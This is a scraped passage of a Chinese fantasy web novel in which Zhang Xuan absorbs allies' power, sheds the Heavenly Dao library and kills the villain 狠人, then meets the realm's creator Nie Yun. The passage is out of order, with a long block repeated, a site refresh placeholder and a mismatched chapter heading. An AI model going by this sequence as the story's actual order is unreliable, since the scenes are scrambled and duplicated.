名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第218章 让祖母抱一抱 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 